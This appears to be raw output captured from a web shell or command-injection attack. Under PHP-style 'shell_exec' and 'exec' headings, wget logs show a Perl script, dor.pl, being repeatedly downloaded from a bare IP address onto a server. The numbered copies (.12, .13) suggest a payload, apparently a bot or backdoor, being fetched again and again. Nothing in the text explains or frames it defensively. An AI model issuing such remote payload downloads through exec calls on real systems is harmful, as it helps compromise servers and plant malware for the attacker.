<pre>=== shell_exec output ===
--2026-06-02 07:33:44--  http://192.253.248.9/dor.pl
Connecting to 192.253.248.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29426 (29K) [text/x-perl]
Saving to: 'dor.pl.12'

     0K .......... .......... ........                        100%  325K=0.09s

2026-06-02 07:33:44 (325 KB/s) - 'dor.pl.12' saved [29426/29426]


=== exec output ===
--2026-06-02 07:33:45--  http://192.253.248.9/dor.pl
Connecting to 192.253.248.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29426 (29K) [text/x-perl]
Saving to: 'dor.pl.13'

     0K .......... .......... ........                        100%  394K=0.07s

2026-06-02 07:33:45 (394 KB/s) - 'dor.pl.13' saved [29426/29426]

</pre>